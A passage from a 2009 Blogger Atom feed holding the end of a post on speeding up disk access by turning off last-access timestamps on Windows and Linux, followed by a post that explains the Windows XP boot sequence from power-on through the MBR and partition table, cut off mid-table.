following command&lt;br /&gt;&lt;br /&gt;       &lt;span style="font-weight: bold; font-style: italic;"&gt;fsutil behavior set disablelastaccess 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;       and press the &lt;span style="font-weight: bold;"&gt;ENTER&lt;/span&gt; key&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If no error message appears, then the command has been executed.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;By the registry&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;     Save the base register if necessary&lt;br /&gt;     Open the Registry Editor&lt;br /&gt;     Go to: &lt;span style="font-weight: bold;"&gt;HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ FileSystem&lt;/span&gt;&lt;br /&gt;   &lt;br /&gt;Create the variable (right-click, New, DWORD value):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;NtfsDisableLastAccessUpdate&lt;/span&gt; with value &lt;span style="font-weight: bold;"&gt;1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The change should take effect immediately.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2.Linux&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Type&lt;br /&gt;&lt;br /&gt;$ sudo gedit /etc/fstab&lt;br /&gt;&lt;br /&gt;and add the options &lt;span style="font-weight: bold;"&gt;relatime nodiratime &lt;/span&gt;to the partition in question.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;br /&gt;# / Etc / fstab: static file system information.&lt;br /&gt;#&lt;br /&gt;# &lt;file&gt; &lt;mount&gt; &lt;type&gt; &lt;options&gt; &lt;dump&gt; &lt;pass&gt;&lt;br /&gt;proc / proc proc defaults 0 0&lt;br /&gt;/ dev/sda1 / ext3 defaults, errors = remount-ro, &lt;span style="font-weight: bold;"&gt;relatime&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;nodiratime&lt;/span&gt; 0 1&lt;br /&gt;/ dev/sda2 none swap sw 0 0&lt;br /&gt;&lt;br /&gt;Then restart for the root.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Note 1: relatime&lt;/span&gt; does not disable the script when file access some software need to know the date of last access. There is the &lt;span style="font-weight: bold;"&gt;noatime&lt;/span&gt; option, which disables all the records in the file access. &lt;span style="font-weight: bold;"&gt;nodiratime &lt;/span&gt;disables scripts when accessing files. Watch the mount manual for more information.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Note 2: &lt;/span&gt;All the Linux kernel does not have the option &lt;span style="font-weight: bold;"&gt;relatime&lt;/span&gt;.&lt;br /&gt;In this case, use &lt;span style="font-weight: bold;"&gt;noatime&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-3809901107216353917?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/U793sb5JNa4" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/jtqQ1VHDhQQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/3809901107216353917/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/speeding-up-disk-access.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/3809901107216353917?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/3809901107216353917?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/jtqQ1VHDhQQ/speeding-up-disk-access.html" title="Speeding up disk access" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/speeding-up-disk-access.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/U793sb5JNa4/speeding-up-disk-access.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0MASXs_eCp7ImA9WxVUFUg.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-1260363504667055118</id><published>2009-03-19T05:36:00.000-07:00</published><updated>2009-03-20T05:17:28.540-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-20T05:17:28.540-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xp" /><title>The PC Boot Process - Windows XP</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="callout2"&gt; &lt;/div&gt;    &lt;table id="boot" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;span style="font-size:100%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_EuF7ehVkjUU/ScJLop1LgtI/AAAAAAAAAsw/aFO4GU6BbIQ/s1600-h/power.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 140px; height: 140px;" src="http://2.bp.blogspot.com/_EuF7ehVkjUU/ScJLop1LgtI/AAAAAAAAAsw/aFO4GU6BbIQ/s400/power.jpg" alt="" id="BLOGGER_PHOTO_ID_5314893672046363346" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;Power supply switched on.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;The power supply performs a self-test. When all voltages and current levels are acceptable, the supply indicates that the power is stable and sends the &lt;span class="blue"&gt;Power Good&lt;/span&gt; signal to the processor. The time from switch-on to Power Good is usually between .1 and .5 seconds.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;The microprocessor timer chip receives the &lt;span class="blue"&gt;Power Good&lt;/span&gt; signal.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;With the arrival of the &lt;span class="blue"&gt;Power Good&lt;/span&gt; signal the timer chip stops sending reset signals to the processor allowing the CPU to begin operations.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style="font-size:100%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_EuF7ehVkjUU/ScJMFSrAerI/AAAAAAAAAtA/v8dySmBLJfk/s1600-h/cpu.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 109px; height: 106px;" src="http://2.bp.blogspot.com/_EuF7ehVkjUU/ScJMFSrAerI/AAAAAAAAAtA/v8dySmBLJfk/s400/cpu.jpg" alt="" id="BLOGGER_PHOTO_ID_5314894164045888178" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;The CPU starts executing the ROM BIOS code.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;The CPU loads the ROM BIOS starting at ROM memory address FFFF:0000 which is only 16 bytes from the top of ROM memory. As such it contains only a JMP (jump) instruction that points to the actual address of the ROM BIOS code.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style="font-size:100%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_EuF7ehVkjUU/ScJL8Dxse-I/AAAAAAAAAs4/syePS26x-Ec/s1600-h/bioschip.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 140px; height: 118px;" src="http://1.bp.blogspot.com/_EuF7ehVkjUU/ScJL8Dxse-I/AAAAAAAAAs4/syePS26x-Ec/s400/bioschip.jpg" alt="" id="BLOGGER_PHOTO_ID_5314894005428583394" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;The ROM BIOS performs a basic test of central hardware to verify basic functionality.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;Any errors that occur at this point in the boot process will be reported by means of 'beep-codes' because the video subsystem has not yet been initialized.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style="font-size:100%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_EuF7ehVkjUU/ScJMQczzvKI/AAAAAAAAAtI/LkJEUIKVMy8/s1600-h/niccard.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 146px; height: 124px;" src="http://1.bp.blogspot.com/_EuF7ehVkjUU/ScJMQczzvKI/AAAAAAAAAtI/LkJEUIKVMy8/s400/niccard.jpg" alt="" id="BLOGGER_PHOTO_ID_5314894355745717410" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;The BIOS searches for adapters that may need to load their own ROM BIOS routines.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;Video adapters provide the most common source of adapter ROM BIOS. The start-up BIOS routines scan memory addresses C000:0000 through C780:0000 to find video ROM. An error loading any adapter ROM generates an error such as:&lt;br /&gt;&lt;br /&gt;&lt;span class="blue"&gt;XXXX ROM Error&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;where XXXX represents the segment address of the failed module.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;The ROM BIOS checks to see if this is a 'cold-start' or a 'warm-start'&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;To determine whether this is a warm-start or a cold start the ROM BIOS startup routines check the value of two bytes located at memory location 0000:0472. Any value other than 1234h indicates that this is a cold-start.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;If this is a cold-start the ROM BIOS executes a full POST (Power On Self Test). If this is a warm-start the memory test portion of the POST is switched off.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;The POST can be broken down into three components:&lt;br /&gt;The &lt;span class="blue"&gt;Video Test&lt;/span&gt; initializes the video adapter, tests the video card and video memory, and displays configuration information or any errors.&lt;br /&gt;The &lt;span class="blue"&gt;BIOS Identification&lt;/span&gt; displays the BIOS version, manufacturer, and date.&lt;br /&gt;The &lt;span class="blue"&gt;Memory Test&lt;/span&gt; tests the memory chips and displays a running sum of installed memory.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;Errors the occur during the POST can be classified as either 'fatal' or 'non-fatal'. A non-fatal error will typically display an error message on screen and allow the system to continue the boot process. A fatal error, on the other hand, stops the process of booting the computer and is generally signaled by a series of beep-codes.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;The BIOS locates and reads the configuration information stored in CMOS.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;CMOS (which stands for Complementary Metal-Oxide Semiconductor) is a small area of memory (64 bytes) which is maintained by the current of a small battery attached to the motherboard. Most importantly for the ROM BIOS startup routines CMOS indicates the order in which drives should be examined for an operating systems - floppy first, CD-Rom first, or fixed disk first.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;th&gt; &lt;p align="left"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;Fixed Disk&lt;/span&gt;&lt;/p&gt;&lt;/th&gt; &lt;th&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/th&gt; &lt;th&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/th&gt; &lt;th&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/th&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;If the first bootable disk is a fixed disk the BIOS examines the very first sector of the disk for a &lt;span class="blue"&gt;Master Boot Record&lt;/span&gt; (MBR). For a floppy the BIOS looks for a &lt;span class="blue"&gt;Boot Record&lt;/span&gt; in the very first sector.&lt;/span&gt;&lt;/p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;On a fixed disk the Master Boot Record occupies the very first sector at cylinder 0, head 0, sector 1. It is 512 bytes in size. If this sector is found it is loaded into memory at address 0000:7C00 and tested for a valid signature. A valid signature would be the value 55AAh in the last two bytes. Lacking an MBR or a valid signature the boot process halts with an error message which might read:&lt;br /&gt;&lt;br /&gt;NO ROM BASIC - SYSTEM HALTED&lt;br /&gt;&lt;br /&gt;A Master Boot Record is made up of two parts - the &lt;span class="blue"&gt;partition table&lt;/span&gt; which describes the layout of the fixed disk and the &lt;span class="blue"&gt;partition loader code&lt;/span&gt; which includes instructions for continuing the boot process.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;h6&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;MBR&lt;/span&gt;&lt;/h6&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;With a valid &lt;span class="blue"&gt;MBR&lt;/span&gt; loaded into memory the BIOS transfers control of the boot process to the &lt;span class="blue"&gt;partition loader&lt;/span&gt; code that takes up most of the 512 bytes of the MBR.&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;The process of installing multiple operating systems on a single PC usually involves replacing the original partition loader code with a &lt;span class="blue"&gt;Boot Loader&lt;/span&gt; program that allows the user to select the specific fixed disk to load in the next step of the process&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow down" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_DArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;h6&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;Partition Table&lt;/span&gt;&lt;/h6&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="middle"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:Verdana;"&gt;The partition loader (or Boot Loader) examines the &lt;span class="blue"&gt;partition table&lt;/span&gt; for a partition marked as active. The partition loader then searches the very first sector of that partition for a &lt;span class="blue"&gt;Boot Record.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;&lt;img alt="Arrow right" src="http://dotnetjunkies.com/WebLog/images/dotnetjunkies_com/unknownreference/220/o_RArrow.JPG" height="38" width="38" /&gt; &lt;/span&gt;&lt;/td&gt; &lt;td&gt; &lt;p&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;The Boot Record is also 512 bytes and contains a table that describes the characteristics of the partition (number of bytes per sectors, number of sectors per cluster, etc.) and also the jump code that locates the first of the operating system files (IO.SYS in DOS).&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;th&gt; &lt;p align="left"&gt;&lt;span style=";font-family:Verdana;font-size:100%;"  &gt;Operating 